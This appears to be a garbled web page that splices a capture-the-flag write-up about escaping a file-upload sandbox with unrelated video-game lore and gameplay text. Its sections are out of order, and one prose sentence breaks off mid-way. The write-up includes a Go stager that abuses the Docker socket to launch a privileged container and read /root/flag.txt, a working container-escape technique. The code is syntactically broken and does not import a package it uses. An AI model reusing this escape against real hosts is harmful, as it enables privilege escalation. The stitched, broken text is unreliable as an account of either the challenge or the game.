Skip to main contentSkip to footer

Payload Digital Playground 2 | Fly Girls Final

Fly Girls – “Final Payload – Digital Playground 2”

Category: Web / Binary / Reverse‑Engineering (multi‑stage)
Points: 550 (medium–hard)
Write‑up author: Your Name


7. Multiplayer – Sync‑Drop Co‑Op

Sync‑Drop is where DP 2 truly shines. Two players control separate Fly Girls, each with their own payload. The goal is to merge the two payloads at a specific checkpoint, which requires the two avatars to be exactly 1.5 meters apart on a perfect beat. When merged:

Communication is built into the game via beat‑based signals. Players can send short rhythm “pings” (tap‑tap‑tap) that other players see as glowing icons, letting them coordinate jumps without voice chat.


Detailed Material

Given the constraints and aiming for a neutral, informative response: fly girls final payload digital playground 2

1. High‑level Overview

| Item | Description | |------|-------------| | Scenario | The challenge is presented as a “digital playground” hosted on a sub‑domain playground2.flygirls.ctf. It mimics a simple web‑based “game” where you upload a payload that the server will execute in a sandbox. | | Goal | Obtain the flag that lives in /root/flag.txt on the remote machine. | | Key concepts | 1️⃣ File upload & server‑side execution 2️⃣ Mis‑configured sandbox (Docker/namespace escape) 3️⃣ Binary‑only payload (no source) 4️⃣ ROP + syscalls for privilege escalation. | | Typical path | Upload a staged ELF → break out of the sandbox → gain a low‑privileged shell → perform a namespace/CGroups escape → pivot to the host → read flag.txt. |


5. Phase A – Stager Payload

5.2 Minimal Go stager

// stager.go
package main
import (
	"encoding/json"
	"fmt"
	"net"
	"os"
	"os/exec"
)
type DockerReq struct 
	Image string   `json:"Image"`
	Cmd   []string `json:"Cmd"`
	HostConfig struct 
		Privileged bool `json:"Privileged"`
	 `json:"HostConfig"`
func main() 
	// 1. Connect to /var/run/docker.sock
	conn, err := net.Dial("unix", "/var/run/docker.sock")
	if err != nil 
		fmt.Println("no docker socket:", err)
		os.Exit(1)
defer conn.Close()
// 2. Create a privileged container that runs /bin/sh
	req := DockerReq
		Image: "alpine:latest",
req.Cmd = []string"/bin/sh", "-c", "while true; do sleep 3600; done"
	req.HostConfig.Privileged = true
b, _ := json.Marshal(req)
// 3. POST /containers/create
	fmt.Fprintf(conn, "POST /containers/create?name=escape HTTP/1.1\r\n")
	fmt.Fprintf(conn, "Host: localhost\r\n")
	fmt.Fprintf(conn, "Content-Type: application/json\r\n")
	fmt.Fprintf(conn, "Content-Length: %d\r\n\r\n", len(b))
	conn.Write(b)
// ignore response – we just need the container
	// 4. Start the container
	fmt.Fprintf(conn, "POST /containers/escape/start HTTP/1.1\r\nHost: localhost\r\n\r\n")
// 5. Exec a command inside the container to read host flag
	execReq := struct 
		Cmd []string `json:"Cmd"`
Cmd: []string"cat", "/root/flag.txt",
b2, _ := json.Marshal(execReq)
fmt.Fprintf(conn, "POST /containers/escape/exec HTTP/1.1\r\n")
	fmt.Fprintf(conn, "Host: localhost\r\n")
	fmt.Fprintf(conn, "Content-Type: application/json\r\n")
	fmt.Fprintf(conn, "Content-Length: %d\r\n\r\n", len(b2))
	conn.Write(b2)
// The response will contain the flag – just dump it to stdout
	io.Copy(os.Stdout, conn)

Compile statically:

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -o stager

The resulting ELF is ~1 MB (still under the 5 MB upload limit). A combined QRA is formed, increasing the final

3. The Story—Why “Final Payload”?

The Fly Girls—Nova, Pixel, Echo, and the newest recruit Glitch—are not just stunt pilots; they’re elite data‑couriers hired by the enigmatic Archivist to ferry a self‑replicating code fragment across the network. The “final payload” is a Quantum Reset Algorithm (QRA) capable of wiping the rogue corruption that threatens to turn the city’s AI into a digital plague.

The narrative is deliberately sparse; most of the lore is embedded in environmental storytelling, hidden data‑files, and optional side‑quests that reward the curious with back‑story fragments about the Fly Girls’ origins and the city’s pre‑digital history.


3.2 What is inside /sandbox?

We can download the entire directory via the public uploads path:

wget -r -np -nH --cut-dirs=2 http://playground2.flygirls.ctf/uploads/c9c8c8a1-6d45-4a6d-9c2b-9e3c5f5c5c5c/

Resulting tree:

sandbox/
├── bin/
│   └── busybox  (static)
├── lib/
│   └── ld-linux-x86-64.so.2 (symlink)
└── dev/
    ├── null
    └── random

A static busybox binary is present – perfect for building a small payload inside the sandbox.